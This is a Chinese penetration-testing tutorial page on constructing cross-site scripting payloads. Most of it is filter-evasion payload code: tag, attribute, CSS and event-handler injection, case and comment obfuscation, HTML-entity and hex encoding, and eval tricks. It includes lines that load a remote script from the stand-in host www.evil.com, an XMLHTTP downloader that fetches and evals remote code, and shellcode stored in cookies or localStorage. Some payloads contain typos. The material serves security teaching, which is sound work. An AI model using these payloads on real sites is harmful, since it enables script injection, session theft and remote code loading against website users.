zl程序教程

您现在的位置是:首页 >  云平台

当前栏目

web渗透测试----25、跨站脚本攻击简介--(1)XSS的构造方法

攻击测试Web -- 脚本 简介 ---- 25
2023-09-11 14:17:06 时间


在这里插入图片描述

1、利用< >标记注入Html /Javascript

如果攻击者可以随心所欲地引入< >等标记,那么就能操作HTML标签,然后通过<scirpt>标签任意插入由JavaScript或Vbscript编写的恶意脚本代码。
如:

<script>alert('XSS'); </script>

2、利用HTML标签属性值

很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这个协议类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。所以,攻击者可以利用部分HTML标记的属性值进行XSS注入:

<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('XSS);">
//常见属性
href、lowsrc、bgsound、background、value、action、dynsrc

3、空格、回车、Tab

如果XSS Filter仅仅把敏感的输入字符(如javascript)列入黑名单处理, 攻击者可以利用空格、回车和Tab键绕过限制,请看下面的例子:

//利用关键字拆分的技巧,突破过滤器的限制
<img src="javas cript:alert(/ xss/)" width=100><img src="javas 
cript:
alert(/xss/)" width=100>
//JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么就可以省略分号:
var a= true
var b="this is also true"

//如果同一行中有多个语句,那么每个语句就必须使用分号来结束:
var a= true; var b="this is also true"; 

//引擎没有把换行符解释为语句的终止符,因为到换行处并不是个完整的语句, JavaScript会继续处理发现的内容,直到遇到一个分号或发现语句完整为止。
var a
= 'hello world';
alert(a);

4、对标签属性值转码

对HTML标记的属性值进行过滤,可以通过编码处理来绕过,因为HTML中属性值本身支持ASCII码形式。

//根据HTML的属性值支持ASCII码的特性,把XSS代码:
<img src="javascript:alert('XSS');">
//替换成:
<img src="javascrip&#116&#58alert(/XSS/);">
//或者
<img src=1 onerror=&# 118;&#98;&#115;&#58;msgbox+1>
<body onload= vbs:execScript' alert(0)","&#x6a;avascript">

5、产生自己的事件

JavaScript与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某种动作,比如click、 mouseover、load等, 而响应事件的函数就叫做事件处理函数(或事件侦听器)。事件能够说明用户何时做了某件事情或页面何时加载完毕。

//示例:这是一个HTML代码中的事件处理程序,运行这段代码,当单击`click me`按钮后,会触发onclick事件, 然后执行当中的JavaScript代码。

<input type="button" value="click me" onclick="alert('click me')" />
//onerror是IMG标记的一个事件,只要页面中发生错误,该事件立即被激活。在这个示例中,当浏览器解释IMG标记的时候,会加载src属性引用的图片地址,倘若该图片不存在就会触发onerror事件。
<img src="#" onerror=alert(/xss/)>
//测试事件型的跨站脚本,还有大量的事件可以运用:
onResume、onReverse、onRowDelete、onRowInserted、onSeek、onSynchRestored、on TimeError、onTrackChange、onURL Flip 、onRepeat、onMedia complete、onMediaError、onPause、onProgress、onOut fSync 、oncontrolselect、onlayoutcomplete、onafterprint、onbeforeprint、ondataavailable 、ondatasetchanged 、ondatasetcomplete、onerrorupdate、onrowenter、onrowexit、onrowsdelete 、onrowsinserted、onselectionchange、onbounce、onfinish、onstop、onresizeend

6、利用CSS

XSS跨站脚本的另一个载体是CSS样式表,使用CSS样式表执行JavaScript具有隐蔽、 灵活多变等特点,缺点是:各浏览器之间不能通用,甚者可能同一浏览器不同版本之间都不能通用。

//使用CSS执行javascript代码的示例如下:
<div style-"background-image:url(javascript:alert('XSS'))">
<style>
body fbackground-image: url("javascript:alert('XSS')");
</style>

如果应用程序禁用了style标签,用户还可以利用部分HTML标签的style属性执行代码。而且,style属性可以和任意字符的标签结合。

<div style="list style- image:url(javascript:alert('XSS'))">

<img style="background-image: url(javascript:alert('XSS))">
等同于:
<img src=" javascript:alert(XSS)">
/*CSS的@import 用于从其他样式表导入样式规则*/
/*@import还有一个特性,就是能直接执行JavaScript代码,如下:*/
<style>
@import "javascript:alert("XSS");
</style>

7、扰乱过滤规则

//示例: 
//一个正常的XSS输入:
<img src="javascript:alert(0);">
//转换大小写后的XSS:
<IMG SRC-="javascript:alert(0);">
//大小写混淆的XSS:
<iMg sRC="jaVasCript:alert(0);">
//不用双引号,而是使用单引号的XSS: 
<img src='javascript:alert(0);'>
//不使用引号的XSS:
<img src=javascript:alert(0);>
//结合使用注释字符干扰和欺骗过滤器
<scriScriptpt>alert('XSS')</script>
<img src="java/*/*javascript*/script/ *javascript*/*/script:alert();" >
<img src="java/ *script:alert();"> <img src="javaa* /script:alert();">
<img src="java/*exp/**/script:aler();*/ression(ale())">
<img style="width: exp/ *ression(alert());" src="java/*exp/ ** , script:alert();* /ression(alert(1))">
/* 除了/**/外,样式标签中的\和结束符0也是被浏览器忽略的 */
@\0im\port'" \0ja\vasc\ript:alert("xss")';
@\i\0m\00p\000o\0000\00000r\000000t"url";
//利用了浏览器解析HTML注释存在的问题来执行JavaScript
<!--<img src="--><img src=x onerror-alert(1)//">  
//只支持IE系列的浏览器
<comment><img src="</comment><img src=x οnerrοr=alert(1)//"> 
//利用了纯文本标签造成的标记混乱来躲避过滤器。
<style><img src="</style> <img src=x οnerrοr=alert(1)//">  

8、利用字符编码

<img src="javascript:alert('XSS');"> 为例:javascript:alert('XSS');进行十进制转码(&#) 后得到:&#106&#97&#118&#97&#115&#99&#114&# 105&#112&#116&#58&#97&# 108&#101&#114&#116&#40&#39&# 88&#83&#83&#39&#41&#59
完整的XSS Expliot如下:
<imgsrc="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

还可以在每个十进制字符后加上;,或者采用&#0、 &#00、&#000、&#0000、&#0;、&#00;、&#000;、&#0000; 等形式,如下所示:

<img src=" &# 106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;&#59;">

<img src="&#0106;&#097;&#0118;&#097;&#0115;&#099;&#0114;&#0105;&#0112;&#0116;&#058;&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#088;&#083;&#083;&#039;&#041;&059;">

<img src="&#0000106&#000097&#0000118&#000097&#0000115&#000099&#0000114&#0000105&#0000112&#0000116&#000058&#000097&#0000108&#0000101&#0000114&#0000116&#000040&#000039&#000088&#000083&#000083&#000039&#000041&#000059">

类似地,也能采用十六进制编码形式:

<img src="&#x6a&#x6&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b"> 
<img src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;&#x3b;">
<img src="&#x00006a&#x000061&#x000076&#x000061&#x000073&#x000063&#x000072&#x000069&#x000070&#x000074&#x00003a&#x000061&#x00006c&#x000065&#x000072&#x000074&#x0O0028&#x00O027&#x000058&#x000053&#x000053&#x000027&#x0OO029&#x00003b">

另外,在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码,如下所示:

<script>
eval("alert('XSS')");
</script>

我们可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本,如对alert(‘XSS’)进行十六进制转码后得到:\61\6c\65\72\74\28\27\58\53\53\27\29
那么,完整的XSS代码为:

<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>

eval()也可以执行10进制形式的脚本,但需要配合String.fromCharCode()函数使用。string.formcharcode()用于将字符转为ASCII码,如下:

<img src="javascript:eval(alert('XSS'))">

结合使用eval()与String.fromCharCode()函数后变为:

<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

此外,样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释,示例如下:

<style>
BODY{background:url(http://127.0.0.1/xss.gif)} 
</style>

可以对background的属性值进行十六进制字符串形式转换:

<style> 
BODY{background:\75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\66\29}
</style> 

style属性中的javascript等字符一般会被程序过滤,但经过十六进制编码后则可以绕过过滤。下面是其他利用字符编码绕过过滤规则的示例:

<div
style="xss:&# 101;&# 120;&#112;&#114;&# 101;&#115;&#115;&# 105;&#111;&#110;(aler(1);"><
/div>
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"
<DIV STYLE="background-image:\0075\0072\006C\0028\006A0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\00740028\0027\0058\0053\0053\0027\0029\0029">

9、拆分法(分块传输)

当应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况
下,可以使用“拆分法”执行跨站脚本代码。把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑在起执行。

//构造如下Expliot:
<script>z= document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script> 
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

上述代码的作用是引入一个字符串变量z,并且将下行代码拆分开来:

document.write('<script src=//www.shell.com/1.js></script>')

然后分几次将其嵌入到变量z中,最后通过eval(z)巧妙地执行代码。


10、动态调用远程JavaScript

假设www.test.com的某个页面含有一个XSS漏洞,Exploit如下:http://www .test.com/veiw.php?sort= Exploit,可以直接把Shellcode写到URL参数中,如:http:/ /www.test.com/veiw.php?sort="><script>alert(/ xss/)</script>
恶意代码败露在URL链接中,容易使网站用户产生怀疑。此外,Web应用程序不仅会对当中的恶意代码进行过滤,也会限制URL 的字符长度。所以,方便起见,Shellcode可写到其他服务器的文件上,然后再用<script>标签进行动态加载。

#因此可以在里面添加一个src属性,并远程执行,如下:
http://www.test.com/veiw.php?sort="> <script src=http://www.evil.com/xss.js></script><

除了使用<script>标签动态调用远程JavaScript,还可以运用基于DOM的方法创建和插入节点,把脚本或HTML注入到网页,实现过程如下:

var s=document.createElement("script");      //使用createElement()函数创建一个新元素script。
s.src="http://www.evil.com/xss.js";  //把<script>的src属性设置成“http:/ /www .evil.com/xss.js”,xss.js里面写有Shellcode代码。
document.getElementsByTagName("head")[O].appendChild(s);   //使用getElementsByTagName()函数查找并返回文档中第一个元素 (因为索引为0),然后利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表的最后一个。

这段脚本的作用就是动态创建了一个<script>标签,其src属性指向http://www.evil.com/xss.js,然后把引用JavaScript的代码插入到网页的<head>标签后。


11、使用windows.location.hash

location是JavaScript管理地址的内置对象。location.hash可以用来获取和设置页面的标签值。

//示例代码如下:
http://www.test.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
/*substr()可在字符串中抽取从start下标 (这里是1 )开始的指定数目的字符;
*所以location.hash.substr(1)的作用是抽取“#”符号后面的字符,即alert('xss'); 
*而eval()函数用来计算某个字符串,并执行其中的JavaScript代码;
*eval(location.hash.substr(1))的功能就是执行Url的#之后的JavaScript代码.
/

12、XSS Downloader

将shellcode存储到数据库中,例如网页信息、文章内容、个人资料等地方,然后将其下载下来执行。

//示例POC如下:
function XSS(){     //定义一个XSS()函数,该函数也就是调用Shellcode的主函数
a=new ActiveXObject('Microsoft.XMLHTTP');      //创建一个XMLHTTP对象
a.Open('get' ,'http://www.bug.com/11221.html',false);/
a.send();     //向http://www.bug.com/11221.html发送一 个HTTP请 求并获取HTTP响应。
b=a.responseText;      //获取responseText, 结果返回为字符串,把该变量赋值给b变量。
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|E0F'))));      
//用indexOf()函数计算BOF|和|EOF的位置,再用substring()函数方法取出字符事,最后用unescape()函数方法解码执行。
}
XSS();
//而http://www.test.com/1.html 页面写入了shellcode代码
Xx09abcxddxBOF|alert(/XSS/)|EOFxxx44xx1212

13、存储技术

备选存储技术就是将XSS shellcode存储在客户端本地域中,比如cookie、Flash共享对象、UserData、localStorage等。

//cookie中存储容量会被限制在4KB内,Cookie中存储shellcode的poc如下:
function setShellCode(code){
var exp=new Date();
exp.setTime(exp.getTime()+ 365*24*60*60*1000);
document.cookie='shellcode='+escape(code)+';'+'expires=' +exp.toGMTString();
}
/*Flash共享对象(shared object:so),Flash cookie;
*so存储最大可达100KB,但是必须要使用flash软件;
*/
//HtML5提供了两种在客户端存储数据的方法:localStorage和sessionStorage,其用法基本一致。
//以localStorage为例:
//保存shellcode
function setShellCode(code){
window.localStorage.setItem(" shellcode", code);}

//执行Shellcode:
function getShellCode(){
eval(window.localStorage.getItem("shellcode"));}

参考资料:

《XSS跨站脚本攻击剖析与防御》----邱永华
https://www.javascript.com/